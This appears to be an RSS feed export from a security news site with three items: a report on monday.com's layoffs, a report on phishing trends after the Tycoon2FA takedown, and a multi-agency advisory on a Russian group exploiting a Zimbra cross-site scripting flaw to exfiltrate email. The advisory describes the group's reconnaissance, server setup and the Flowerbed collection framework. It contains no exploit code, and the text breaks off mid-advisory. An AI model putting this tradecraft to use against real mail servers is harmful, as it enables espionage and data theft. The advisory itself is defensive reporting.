<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=docker+volumes+bind+mounts%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Sat, 01 Aug 2026 18:30:22 +0200</lastBuildDate>
<pubDate>Sat, 01 Aug 2026 18:30:22 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=docker+volumes+bind+mounts%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=docker+volumes+bind+mounts%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3694771/ai-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694771/ai-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday.com’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4200330/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era.html" target="_blank">CIO.com</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Email threats changed after the Tycoon2FA take-down]]></title>
<description><![CDATA[Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.



“Phishing volume linked to the platform fell 92% from pre-disruption aver...]]></description>
<link>https://tsecurity.de/de/3694766/ai-nachrichten/email-threats-changed-after-the-tycoon2fa-take-down/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694766/ai-nachrichten/email-threats-changed-after-the-tycoon2fa-take-down/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Traditional phishing techniques are in decline as a result of the <a href="https://www.csoonline.com/article/4140890/microsoft-leads-takedown-of-tycoon2fa-phishing-service-infrastructure.html">disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform</a>, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.</p>



<p class="wp-block-paragraph">“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in <a href="https://www.microsoft.com/en-us/security/blog/2026/07/23/email-threat-landscape-q2-2026-trends-and-insights/">the report</a>.</p>



<p class="wp-block-paragraph">The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.</p>



<p class="wp-block-paragraph">Riding this shift in were a few notable phishing campaigns, including an automated <a href="https://www.csoonline.com/article/575559/business-email-compromise-scams-take-new-dimension-with-multi-stage-attacks.html">business email compromise</a> (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.</p>



<p class="wp-block-paragraph">To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to <a href="https://www.csoonline.com/article/4176814/security-experts-caution-mfa-alone-can-no-longer-stop-threat-actors.html">MFA</a> for accounts that still require passwords.</p>



<h2 class="wp-block-heading">Tycoon2FA disruption sent attackers exploring</h2>



<p class="wp-block-paragraph">The take-down of <a href="https://www.csoonline.com/article/4100393/hybrid-2fa-phishing-kits-are-making-attacks-harder-to-detect.html">Tycoon2FA</a> forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.</p>



<p class="wp-block-paragraph">“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.</p>



<p class="wp-block-paragraph">The decline extended to QR Code <a href="https://www.csoonline.com/article/3557585/attackers-are-using-qr-codes-sneakily-crafted-in-ascii-and-blob-urls-in-phishing-emails.html">lures</a> and fake CAPTCHA <a href="https://www.csoonline.com/article/3829416/fake-captcha-attacks-are-increasing-say-experts.html">pages</a>, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.</p>



<p class="wp-block-paragraph">But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.</p>



<p class="wp-block-paragraph">The adaptation came in the form of using Microsoft <a href="https://www.csoonline.com/article/4160858/attackers-abuse-microsoft-teams-to-impersonate-the-it-helpdesk-in-a-new-enterprise-intrusion-playbook.html">Teams as a social engineering channel</a>. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.</p>



<p class="wp-block-paragraph">Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.</p>



<h2 class="wp-block-heading">Phishing changes but the defense doesn’t</h2>



<p class="wp-block-paragraph">While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.</p>



<p class="wp-block-paragraph">QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.</p>



<p class="wp-block-paragraph">BEC attacks hit 9 million in March, falling to 3.9 million in June.</p>



<p class="wp-block-paragraph">But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant <a href="https://www.csoonline.com/article/3535222/mfa-adoption-is-catching-up-but-is-not-quite-there.html">MFA</a> to reduce the effectiveness of credential theft campaigns.</p>



<p class="wp-block-paragraph">The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, <a href="https://www.csoonline.com/article/4040128/fido-undermined.html">FIDO </a>keys, and Microsoft Authenticator.</p>



<p class="wp-block-paragraph">Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.csoonline.com/article/4201146/tycoon2fa-takedown-reshapes-the-phishing-landscape.html">CSO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
